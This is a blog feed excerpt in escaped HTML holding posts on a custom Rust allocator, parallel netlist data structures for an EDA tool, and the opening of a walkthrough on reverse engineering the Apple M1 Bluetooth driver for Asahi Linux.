&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;deref_mut&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;guard&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;guard&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-&amp;gt; &lt;span class="kp"&gt;&amp;amp;&lt;/span&gt;&lt;span class="o"&gt;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;guard&lt;/span&gt; &lt;span class="nc"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;#39;&lt;/span&gt;&lt;span class="na"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;U&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Because &lt;code&gt;&amp;amp;'a mut T&lt;/code&gt; is &lt;em&gt;invariant&lt;/em&gt; over &lt;code&gt;T&lt;/code&gt;, &lt;code&gt;&amp;amp;'guard mut &amp;amp;'a U&lt;/code&gt; forces anything that might be stored to be &lt;em&gt;exactly&lt;/em&gt; &lt;code&gt;&amp;amp;'a U&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;However, I &lt;strong&gt;still haven't tested any of this&lt;/strong&gt;. There might still be something I've missed.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I still don't understand drop check and haven't gotten around to implementing any code to support dropping yet.&lt;/li&gt;
&lt;li&gt;The most useful articles for building my intuition about memory ordering were:&lt;ul&gt;
&lt;li&gt;&lt;a href="https://preshing.com/20120710/memory-barriers-are-like-source-control-operations/"&gt;https://preshing.com/20120710/memory-barriers-are-like-source-control-operations/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://preshing.com/20120913/acquire-and-release-semantics/"&gt;https://preshing.com/20120913/acquire-and-release-semantics/&lt;/a&gt; (specifically the diagrams with the square brackets indicating across where memory operations &lt;em&gt;cannot&lt;/em&gt; move)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://preshing.com/20130823/the-synchronizes-with-relation/"&gt;https://preshing.com/20130823/the-synchronizes-with-relation/&lt;/a&gt; explaining synchronizes-with.&lt;ul&gt;
&lt;li&gt;This allocator additionally depends on the rules around &lt;em&gt;release sequences&lt;/em&gt;, but the explanation &lt;a href="https://en.cppreference.com/w/cpp/atomic/memory_order"&gt;here&lt;/a&gt; finally makes sense after understanding everything else.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/38565650/what-does-release-sequence-mean"&gt;This&lt;/a&gt; SO question helped to clarify even further.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Our thread creation / termination story is as follows: The heap can only support a hardcoded maximum number of threads. If a thread terminates, nothing happens to any of its memory and none of it is freed. Other threads can keep accessing nodes that exist on its pages. Other threads can also free nodes that exist on the terminated thread's pages, but nothing will ever come around to sweep/collect them anymore. When a thread is created, the code first tries to find an existing "abandoned" set of memory and gives this new thread that memory (only creating a totally new thread shard if that fails). With the envisioned execution model, this should be totally fine — we will grab &lt;code&gt;n&lt;/code&gt; threads, do stuff, drop all &lt;code&gt;n&lt;/code&gt; threads, and then pick up &lt;em&gt;the same&lt;/em&gt; &lt;code&gt;n&lt;/code&gt; thread shards (and associated memory) the next time we do stuff.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Netlist and object locking&lt;/h2&gt;
&lt;p&gt;After building the allocator, we need to build this next.&lt;/p&gt;
&lt;p&gt;I'm quite familiar with atomic operations and locking (other than memory ordering), so this is quite straightforward after all of the struggles of the previous section. &lt;a href="https://github.com/ArcaneNibble/SiCl4/tree/98c9458e4faf31738c331aae4d8873682d4ec079"&gt;Here&lt;/a&gt; we go, and &lt;a href="https://github.com/ArcaneNibble/SiCl4/tree/e62bafcfa2220729a2e7fba5e29cd0ba7fe08c79"&gt;here&lt;/a&gt; we have a port of the previous benchmark.&lt;/p&gt;
&lt;p&gt;While writing this, I noticed the following concerns:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Guards aren't required to outlive the per-thread handle. This seems &lt;code&gt;// XXX XXX XXX BAD BAD BAD ???&lt;/code&gt;, but I need to understand and be able to explain &lt;em&gt;why&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;I am using a &lt;em&gt;nasty&lt;/em&gt; trick to deal with attempting to get a lock on an object that has been deallocated. It is not clear to me whether or not this is UB according to any theoretical memory models (it definitely does end up mixing atomic (read/write lock guard) and non-atomic (free list) access to the same address) or in practice. This definitely needs to be fixed (or at least reasoned through).&lt;/li&gt;
&lt;li&gt;I don't have a full intuitive understanding of Rust's UB rules regarding summoning up &lt;code&gt;mut&lt;/code&gt; pointers/references derived from a &lt;code&gt;&amp;amp;&lt;/code&gt; reference.&lt;/li&gt;
&lt;li&gt;Variance &lt;em&gt;really&lt;/em&gt; matters here as netlist cells/wires... have lifetime params. I still haven't tried intentionally breaking it (although doing the "normal/intended" thing is accepted).&lt;/li&gt;
&lt;li&gt;This new API has &lt;em&gt;way&lt;/em&gt; less locking-related noise compared to the previous duct-tape attempts. This is definitely better.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let's fix some of these issues:&lt;/p&gt;
&lt;p&gt;Surprisingly to me at first, there is no issue with having read/write guards outlive the heap thread shard. This is because the heap thread shard controls the ability to perform &lt;em&gt;allocator&lt;/em&gt; activity (i.e. allocating and freeing), whereas the read/write guards control the ability to perform &lt;em&gt;netlist content&lt;/em&gt; activity (i.e. scribbling all over graph nodes).&lt;/p&gt;
&lt;p&gt;... actually, that makes perfect sense now that it is all spelled out. Once you've gotten memory from e.g. &lt;code&gt;malloc&lt;/code&gt;, you are free to do whatever you want as far as the heap is concerned. The heap only needs to protect &lt;em&gt;itself&lt;/em&gt; from concurrency issues, and you can't allocate/free anything if you don't have a heap shard.&lt;/p&gt;
&lt;p&gt;Which means that I should probably work out and explicitly spell out the coupling I &lt;em&gt;actually&lt;/em&gt; need between the allocator and the locking logic:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the ability to deallocate through a write guard. We can do this whereas Rust's &lt;code&gt;RwLockWriteGuard&lt;/code&gt; can't because we know that the object we are protecting came from our special heap, whereas a &lt;code&gt;RwLock&amp;lt;T&amp;gt;&lt;/code&gt; can be stored anywhere and not even necessarily in a heap allocation.&lt;/li&gt;
&lt;li&gt;our heap allows us to &lt;em&gt;very very carefully&lt;/em&gt; access deallocated objects, using the hack of overlaying the lock/generation counter with the free list next pointer. Not only do we know that the backing memory segment itself cannot disappear, we've also gained the ability to &lt;em&gt;logically&lt;/em&gt; invalidate old pointers to the freed node, without having to go through connected graph nodes to erase the pointers.&lt;/li&gt;
&lt;li&gt;we &lt;em&gt;want&lt;/em&gt; to be able to define periods in the code where neither allocator nor netlist activity are happening. We can couple these together &lt;em&gt;on purpose&lt;/em&gt; even though there is no need to do so for safety (by adding a &lt;code&gt;PhantomData&lt;/code&gt; inside the read/write guards borrowing the thread shard).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is good intuition to have going forwards!&lt;/p&gt;
&lt;p&gt;While we're fixing things, the "mixed use of atomic and non-atomic operations" problem can be fixed by... making the heap use (relaxed) atomic operations. It's still a hack and a layering violation, but it should no longer be a theoretical memory model data race UB. It also shouldn't change the generated code, as the previous store was a 64-bit pointer that should already be atomic.&lt;/p&gt;
&lt;p&gt;Incidentally, I also fixed a bunch of coercions to &lt;code&gt;*mut&lt;/code&gt;, removed some unnecessary uses of &lt;code&gt;mem::transmute&lt;/code&gt;, and generally should have fixed all of the Rust-level UB.&lt;/p&gt;
&lt;h2&gt;New benchmarks&lt;/h2&gt;
&lt;p&gt;We can now rerun the hacky benchmark from the previous attempt (which now very obviously doesn't test object deletion nor otherwise have particularly good invariant self-checking, but at least it'll be an apples-to-apples comparison):&lt;/p&gt;
&lt;p&gt;&lt;img alt="Data graph" src="https://arcanenibble.com/images/netlist-phase2-custom-alloc.png"&gt;&lt;/p&gt;
&lt;p&gt;Some observations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This implementation completely beats the "slap &lt;code&gt;Arc&amp;lt;RwLock&amp;lt;&amp;gt;&amp;gt;&lt;/code&gt; everywhere" solution across all tested cases. This isn't too surprising as that implementation had tons of unnecessary work going on.&lt;/li&gt;
&lt;li&gt;Our single-threaded performance beats the off-the-shelf "&lt;code&gt;sharded_slab&lt;/code&gt; plus &lt;code&gt;RwLock&lt;/code&gt;" performance&lt;/li&gt;
&lt;li&gt;With multiple threads but a tiny netlist, we perform worse than the &lt;code&gt;sharded_slab&lt;/code&gt; implementation. It might be good to investigate why, although it might not matter at this scale (we're talking milliseconds in total).&lt;/li&gt;
&lt;li&gt;At larger netlist sizes, we start to perform &lt;em&gt;significantly&lt;/em&gt; better, and this continues to scale up until we increase the number of threads to 7-8 (although not linearly).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Going forward&lt;/h2&gt;
&lt;p&gt;Now I need to actually build out the "Galois system"-inspired graph stuff...&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>Parallel-capable netlist data structures, part 1</title><link href="https://arcanenibble.com/parallel-capable-netlist-data-structures-part-1.html" rel="alternate"></link><published>2023-12-27T00:00:00+00:00</published><updated>2023-12-27T00:00:00+00:00</updated><author><name>ArcaneNibble</name></author><id>tag:arcanenibble.com,2023-12-27:/parallel-capable-netlist-data-structures-part-1.html</id><summary type="html">&lt;p&gt;I talk about learning to write parallel algorithms while dropping major hints about a new project.&lt;/p&gt;</summary><content type="html">&lt;p&gt;For the past &amp;lt;indeterminate time&amp;gt;, I've been trying to work on an EDA-related tool (formal announcement coming any moment now...) whilst trying to recover from severe, debilitating burnout. This has involved playing around with Rust on "real computers" (i.e. not on microcontrollers) and learning how to write parallel algorithms. This is Part 1 of my learning progress.&lt;/p&gt;
&lt;p&gt;Given that I've (in theory) studied all sorts of academic material about algorithms, concurrency, computer architecture, etc. etc., this should be easy, right? Riiiiiiiight...?&lt;/p&gt;
&lt;p&gt;Let's find out!&lt;/p&gt;
&lt;p&gt;Code for all of this is &lt;a href="https://github.com/ArcaneNibble/SiCl4/tree/throwaway"&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;All benchmarks were run on an Apple M1 Max.&lt;/p&gt;
&lt;h1&gt;A new tool?&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://github.com/YosysHQ/yosys"&gt;Yosys&lt;/a&gt; is currently the standard open-source EDA framework. It works quite well for the synthesis and formal verification use cases. However, I wanted a place to freely experiment with... other algorithms (&lt;small&gt;&lt;em&gt;wink&lt;/em&gt;&lt;/small&gt;).&lt;/p&gt;
&lt;p&gt;Yosys RTLIL data structures are also not currently multithreaded, but I predict that multithreading will be critical for handling the... large netlists that my tool would be working with.&lt;/p&gt;
&lt;p&gt;With its advertised "fearless concurrency," a natural choice of programming language for this project is Rust.&lt;/p&gt;
&lt;h1&gt;Minimum viable netlist&lt;/h1&gt;
&lt;p&gt;For the particular type of neurodivergence that seems to exist in our brain, it is &lt;em&gt;super&lt;/em&gt; critical to get something that "looks like it is doing something" as fast as possible. How do we do that?&lt;/p&gt;
&lt;p&gt;The structure that I ended up choosing was:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cells contain:&lt;ul&gt;
&lt;li&gt;a type&lt;/li&gt;
&lt;li&gt;a fixed-size array of (nullable) references to wires (which is actually implemented as a non-fixed-size &lt;code&gt;Vec&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Wires contain:&lt;ul&gt;
&lt;li&gt;a list of cells driving the wire&lt;/li&gt;
&lt;li&gt;a list of cells being driven by the wire&lt;/li&gt;
&lt;li&gt;a list of cells with bidirectional connections to the wire&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Module inputs/outputs are ignored and handwaved away&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://arcanenibble.com/images/netlist-basic.svg" alt="Hand-drawn diagram representing data structure" class="needsbg"&gt;&lt;/p&gt;
&lt;p&gt;This contains the following major differences from Yosys RTLIL:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Yosys cells point to wires, but it is hard to go from wires back to the cells connected to them&lt;/li&gt;
&lt;li&gt;Yosys wires are actually wire bundles of a certain width (which can be 1). This netlist's wires are always a single wire.&lt;/li&gt;
&lt;li&gt;Similarly, Yosys netlist cell connections can also have a width &amp;gt; 1, and the &lt;code&gt;SigSpec&lt;/code&gt;/&lt;code&gt;SigChunk&lt;/code&gt;/&lt;code&gt;SigBit&lt;/code&gt; types represent details of how this connection is performed.&lt;/li&gt;
&lt;li&gt;Yosys wires have a name built in to them. When two names are assigned to "the same" wire, two separate &lt;code&gt;Wire&lt;/code&gt; objects exist. A vector of &lt;code&gt;SigSig&lt;/code&gt;s links them together.&lt;/li&gt;
&lt;li&gt;Yosys stores a lot more metadata.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Points 2/3/5 differ solely to hack together something simple and minimal as fast as possible. However, points 1 and 4 were intentionally chosen to be different.&lt;/p&gt;
&lt;p&gt;For point 1, I am predicting that the types of algorithms I will be interested in will require a lot more arbitrary graph traversals than the typical algorithms in Yosys. Having references in both directions will make this much easier. The trade-off is increased cost (in terms of complexity and performance) keeping the references consistent.&lt;/p&gt;
&lt;p&gt;For point 4, I am intentionally treating human-readable names as more akin to metadata than an integral part of wires. This feels like the correct choice for the final application.&lt;/p&gt;
&lt;p&gt;Of course, as the rest of the code hasn't actually been written, I don't yet know if these design choices will end up being the right choice.&lt;/p&gt;
&lt;h1&gt;Make it parallel&lt;/h1&gt;
&lt;p&gt;The easiest solution that we understood to "just make the thing parallel" is to slap &lt;code&gt;Arc&amp;lt;Mutex&amp;lt;T&amp;gt;&amp;gt;&lt;/code&gt; or &lt;code&gt;Arc&amp;lt;RwLock&amp;lt;T&amp;gt;&amp;gt;&lt;/code&gt; everywhere:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://arcanenibble.com/images/netlist-with-arc-rwlock.svg" alt="Hand-drawn diagram representing data structure" class="needsbg"&gt;&lt;/p&gt;
&lt;p&gt;However, this has an obvious problem in that this data structure inherently contains a lot of cycles. This means that memory will be leaked and never freed. As a further hack, I decided to make all internal references &lt;code&gt;Weak&lt;/code&gt;, with the only strong &lt;code&gt;Arc&lt;/code&gt; references stored in a global &lt;code&gt;Vec&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://arcanenibble.com/images/netlist-with-weak.svg" alt="Hand-drawn diagram representing data structure" class="needsbg"&gt;&lt;/p&gt;
&lt;p&gt;With this data structure, no memory will be freed until the entire netlist itself is dropped. Nodes will be free to reference each other with cycles, and upgrading &lt;code&gt;Weak&lt;/code&gt; references can't ever fail. However, a lot of extraneous reference counting probably happens.&lt;/p&gt;
&lt;p&gt;In order to test out this data structure, we need some algorithms to run on some netlists. For testing, I created a randomly-connected netlist of LUT4s:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://arcanenibble.com/images/netlist-lut4.svg" alt="Hand-drawn diagram representing data structure" class="needsbg"&gt;&lt;/p&gt;
&lt;p&gt;The test mutation algorithm inserts a buffer on the output of every LUT4, starting from a certain set of "seed" LUT4s:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://arcanenibble.com/images/netlist-lut4-buf.svg" alt="Hand-drawn diagram representing data structure" class="needsbg"&gt;&lt;/p&gt;
&lt;p&gt;Although this is not necessarily completely representative of real designs nor algorithms, it is simple and should at least be useful for getting "order of magnitude" performance numbers.&lt;/p&gt;
&lt;p&gt;To make all of this work, we finally need a work-stealing thread pool. The &lt;a href="https://docs.rs/work-queue/latest/work_queue/"&gt;&lt;code&gt;work_queue&lt;/code&gt;&lt;/a&gt; crate seems like it does what we want. After throwing all of this together, does it work?&lt;/p&gt;
&lt;p&gt;A cursory manual inspection of small inputs/outputs seems to indicate that the algorithm is correct (after fixing some bugs). Larger netlists also don't hit any &lt;code&gt;unwrap&lt;/code&gt; failures, which is also a good sign. Fearless concurrency! However, performance is a different story:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Data graph" src="https://arcanenibble.com/images/netlist-phase1-rwlock.png"&gt;&lt;/p&gt;
&lt;p&gt;Performance doesn't scale beyond two cores. Hmm.&lt;/p&gt;
&lt;h1&gt;Looking at what other people did&lt;/h1&gt;
&lt;p&gt;While throwing together quick hacks, I &lt;em&gt;did&lt;/em&gt; also study examples of existing implementations. The first reference I looked at (which I had first read quite some time ago) was &lt;a href="https://people.eecs.berkeley.edu/~alanmi/publications/2018/iccad18_rwr.pdf"&gt;a paper titled "Unlocking Fine-Grain Parallelism for AIG Rewriting"&lt;/a&gt;. This paper references a particular abstraction called &lt;a href="https://iss.oden.utexas.edu/?p=projects/galois"&gt;"the Galois system"&lt;/a&gt; for building parallel graph algorithms.&lt;/p&gt;
&lt;p&gt;The papers have been the most useful for me to understand the Galois abstraction have been &lt;a href="https://iss.oden.utexas.edu/Publications/Papers/pingali11.pdf"&gt;this&lt;/a&gt; and &lt;a href="https://sci-hub.wf/10.1145/1250734.1250759"&gt;this&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;My key takeaways from these papers are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;"Unordered algorithms with cautious operator implementations
can be executed speculatively without buffering updates or making
backup copies of modified data"&lt;ul&gt;
&lt;li&gt;The code I've written is already a "cautious" operator (after minimal modifications)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;"Ordered" algorithms are going to be tricky later, and I will probably need some of them in my program (e.g. clustering)&lt;ul&gt;
&lt;li&gt;I will have to implement some form of "commit pool" for these&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Fixing the worst of the quick hack&lt;/h1&gt;
&lt;p&gt;The giant mess of &lt;code&gt;Weak&lt;/code&gt;s constantly being upgraded/downgraded from &lt;code&gt;Arc&lt;/code&gt;s (even though nothing can actually be deallocated) feels like a potential source of performance problems. It really should be replaced by something like an arena/slab allocator. The &lt;a href="https://docs.rs/sharded-slab/latest/sharded_slab/"&gt;&lt;code&gt;sharded_slab&lt;/code&gt;&lt;/a&gt; crate seems like it does what we need.&lt;/p&gt;
&lt;p&gt;I also changed the code so that it aborts and retries later (rather than blocking) if an iteration ("operator" in the Galois abstraction) fails to lock all of the nodes it needs.&lt;/p&gt;
&lt;h1&gt;Final part 1 performance&lt;/h1&gt;
&lt;p&gt;&lt;img alt="Data graph" src="https://arcanenibble.com/images/netlist-phase1-slab.png"&gt;&lt;/p&gt;
&lt;p&gt;This has fixed the worst of the scaling bottleneck.&lt;/p&gt;
&lt;h1&gt;Final remarks&lt;/h1&gt;
&lt;p&gt;Manually acquiring locks and messing with the netlist is very error-prone and cumbersome. I need to figure out a better way to build APIs for this.&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>Reverse engineering the Apple M1 Bluetooth interface</title><link href="https://arcanenibble.com/reverse-engineering-the-apple-m1-bluetooth-interface.html" rel="alternate"></link><published>2023-02-08T00:00:00+00:00</published><updated>2023-02-08T00:00:00+00:00</updated><author><name>ArcaneNibble</name></author><id>tag:arcanenibble.com,2023-02-08:/reverse-engineering-the-apple-m1-bluetooth-interface.html</id><summary type="html">&lt;p&gt;In this post I walk through the thought process as I reverse engineered the M1 Bluetooth module.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Back in April of 2022, I reverse-engineered the interface that drivers use to communicate with the Bluetooth module on Apple M1 machines so that &lt;a href="https://asahilinux.org/"&gt;Asahi Linux&lt;/a&gt; could support Bluetooth on these devices. I documented the results in &lt;a href="https://github.com/ArcaneNibble/m1-bluetooth-prototype"&gt;a prototype driver&lt;/a&gt; that was written in Python and ran in userspace. By July, other members of the Asahi team had &lt;a href="https://asahilinux.org/2022/07/july-2022-release/"&gt;written a real driver&lt;/a&gt; that is now shipping to end users.&lt;/p&gt;
&lt;p&gt;In this post, I will document the thought processes that went into this reverse engineering effort. Unfortunately, I experienced a hardware failure in the meantime and don't have my old annotated reverse engineering notes, so this will be done on a best-effort basis.&lt;/p&gt;
&lt;h1&gt;Background&lt;/h1&gt;
&lt;p&gt;Unfortunately, this post cannot be an introduction to reverse engineering as a whole. Reverse engineering is an extremely broad topic with many areas to cover, including&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;assembly language and the AArch64 instruction set. The official documentation for the AArch64 instruction set can be found &lt;a href="https://developer.arm.com/documentation/102374/0101"&gt;here&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;operating systems. It is extremely useful to have a general idea of how operating systems work and are designed, but, as I will show here, a detailed knowledge of macOS internals is not specifically required. I have gotten away with consulting the &lt;a href="https://developer.apple.com/documentation/iokit"&gt;official IOKit documentation&lt;/a&gt; only when needed, figuring things out as I go along.&lt;/li&gt;
&lt;li&gt;educated guesswork. &lt;em&gt;Lots&lt;/em&gt; of guesswork. Having a vague idea about how other systems work and are designed helps when reverse engineering an unknown system. There are many common patterns (e.g. ring buffers, doorbell registers, firmware loading) that occur throughout different systems, and having this knowledge available to hand makes guessing much faster and more efficient.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Initial reconnaissance&lt;/h1&gt;
&lt;p&gt;One of the first things to do when reverse engineering a system is to have a poke around in order to gather information. The first tool I personally reached for was IORegistryExplorer, which is available as part of the "Additional Tools for Xcode." This tool displays information used by macOS device drivers.&lt;/p&gt;
&lt;p&gt;The first thing I did was to open IORegistryExplorer, select the IODeviceTree "plane" (I didn't read the documentation enough to know what exactly a plane is, but I did know from previous efforts that this plane matches the Apple Device Tree information that m1n1 can dump), and search for "bluetooth".&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot of IORegistryExplorer" src="https://arcanenibble.com/images/m1-bt-ioreg-iodt.png"&gt;&lt;/p&gt;
&lt;p&gt;This immediately tells me some information:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bluetooth is running over PCIe. There isn't a standard way of doing this according to the &lt;a href="https://www.bluetooth.com/specifications/specs/core-specification-5-3/"&gt;Bluetooth Core specification&lt;/a&gt; (we will need this document again later), but the commands running on top of the PCIe link might still be standard (we do not know yet at this point).&lt;/li&gt;
&lt;li&gt;Bluetooth is a second PCIe function on the same device as WiFi. This can be seen from the &lt;code&gt;0,1&lt;/code&gt; address (as well as by running &lt;code&gt;lspci&lt;/code&gt; when booted into Linux).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Repeating the same search on the IOService "plane" results in the following hierarchy:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot of IORegistryExplorer" src="https://arcanenibble.com/images/m1-bt-ioreg-ioservice.png"&gt;&lt;/p&gt;
&lt;p&gt;Some quick research online seems to hint that this may be an Apple-specific interface (most WiFi+BT cards in mini-PCIe form factor use USB for the Bluetooth function). At this point, my preference is to jump in to static analysis.&lt;/p&gt;
&lt;h1&gt;Static analysis&lt;/h1&gt;
&lt;p&gt;I began static analysis by loading &lt;code&gt;AppleBluetoothModule&lt;/code&gt; and &lt;code&gt;AppleConvergedIPCOLYBTControl&lt;/code&gt; (visible in IORegistryExplorer), as well as the similarly-named &lt;code&gt;AppleConvergedPCI&lt;/code&gt; as a guess, into &lt;a href="https://ghidra-sre.org/"&gt;Ghidra&lt;/a&gt;. These drivers can be found inside &lt;code&gt;/System/Library/Extensions&lt;/code&gt; of a macOS install. Interestingly, when loading these drivers, Ghidra informs us that they are "fat binaries" containing both x86_64 code as well as AArch64 code. It turns out that some of the latest x86 Macs &lt;em&gt;also&lt;/em&gt; have a similar Bluetooth module connected over PCIe, and this reverse engineering work is applicable for them as well.&lt;/p&gt;
&lt;p&gt;The first thing I do when loading a macOS driver into Ghidra is to look at the class and function names. These are usually not obfuscated and give a good overview of what the code might be doing. Some of the functions in &lt;code&gt;AppleBluetoothModule&lt;/code&gt; look like this:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot of Ghidra with AppleBluetoothModule loaded" src="https://arcanenibble.com/images/m1-bt-applebluetoothmodule.png"&gt;&lt;/p&gt;
&lt;p&gt;My initial impression was that this code seems to be used for "gluing together random bits related to PCIe" and was not related to "actually talking to the chip," so I quickly moved on to &lt;code&gt;AppleConvergedPCI&lt;/code&gt; instead:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot of Ghidra with AppleConvergedPCI loaded" src="https://arcanenibble.com/images/m1-bt-appleconvergedpci.png"&gt;&lt;/p&gt;
&lt;p&gt;Ah! At this point I know I'm in the right place because I can see familiar numbers! (It's not visible in the screenshot above, but the device tree in IORegistryExplorer contains a "compatible" string of &lt;code&gt;wlan-pcie,bcm4387&lt;/code&gt;). One function immediately jumps out to me: &lt;code&gt;getRegisterOffset&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot of getRegisterOffset function" src="https://arcanenibble.com/images/m1-bt-getreg.png"&gt;&lt;/p&gt;
&lt;p&gt;We don't yet know what any of these registers do, but the fact that they've been wrapped in this layer of indirection means that most likely either these registers are the &lt;em&gt;only&lt;/em&gt; registers the driver accesses, or they're at least the &lt;em&gt;most important&lt;/em&gt; ones. We can quickly note these down in a "notes" file.&lt;/p&gt;
&lt;p&gt;Nothing else in &lt;code&gt;AppleConvergedPCI&lt;/code&gt; seemed to be doing anything particularly interesting, so we move on to &lt;code&gt;AppleConvergedIPCOLYBTControl&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot of Ghidra with AppleConvergedIPCOLYBTControl loaded" src="https://arcanenibble.com/images/m1-bt-appleconvergedipc.png"&gt;&lt;/p&gt;
&lt;p&gt;Jackpot? Based on the amount of code in here, as well as the names in IORegistryExplorer, this is almost certainly the bulk of the driver logic. At this point, it's time to perform a bunch of the static analysis Sudoku puzzle. It's hard to describe step-by-step how this process works, but the gist of it is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Find something you don't understand, but where you understand most of the surrounding pieces.&lt;/li&gt;
&lt;li&gt;Figure out what it does.&lt;/li&gt;
&lt;li&gt;Repeat until you understand everything.&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;Initial static analysis notes&lt;/h1&gt;
&lt;p&gt;The first thing I noticed was the separate set of classes containing "BTI" vs "RTI". Since I expect that this card probably requires firmware (just like the WiFi function does), I take a wild guess that "BTI" might stand for "boot-time interface" and that "RTI" might stand for "run-time interface". This is backed up by the fact that "BTI" mostly only seems to be able to "send an image" while "RTI" does a lot of work with things like "MR" "CR" "TR" "CD" etc.&lt;/p&gt;
&lt;p&gt;When reverse engineering C++, it is &lt;em&gt;extremely&lt;/em&gt; helpful to properly define all of the classes in the Ghidra structure editor. In order to figure out the sizes of some of these classes in bytes, I look for calls to the constructor and then look for the preceding calls to &lt;code&gt;__Znwm&lt;/code&gt; (the global &lt;code&gt;operator new&lt;/code&gt;):&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot of Ghidra showing a memory allocation" src="https://arcanenibble.com/images/m1-bt-new.png"&gt;&lt;/p&gt;
&lt;p&gt;In this case, the size of the &lt;code&gt;ACIPCBTIPipe&lt;/code&gt; object is 0x30 bytes.&lt;/p&gt;
&lt;p&gt;In other cases (mostly classes that are more involved with IOKit), the class itself will contain an &lt;code&gt;operator new&lt;/code&gt; method that calls into &lt;code&gt;_OSObject_typed_operator_new&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot of Ghidra showing a memory allocation" src="https://arcanenibble.com/images/m1-bt-osobject-new.png"&gt;&lt;/p&gt;
&lt;p&gt;Understanding this requires &lt;a href="https://github.com/apple-oss-distributions/xnu/blob/xnu-8020.101.4/osfmk/kern/kalloc.h#L1236"&gt;digging&lt;/a&gt; through the XNU source code a bit to find the &lt;a href="https://github.com/apple-oss-distributions/xnu/blob/xnu-8020.101.4/osfmk/kern/kalloc.h#L331"&gt;size&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Once a few classes have been briefly annotated, the function of some of the registers starts to become clear. For example, here's a fragment from the &lt;code&gt;ACIPCBTIDevice::updateImageAddr&lt;/code&gt; method:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot of Ghidra showing ACIPCBTIDevice::updateImageAddr" src="https://arcanenibble.com/images/m1-bt-bti-updateimageaddr.png"&gt;&lt;/p&gt;
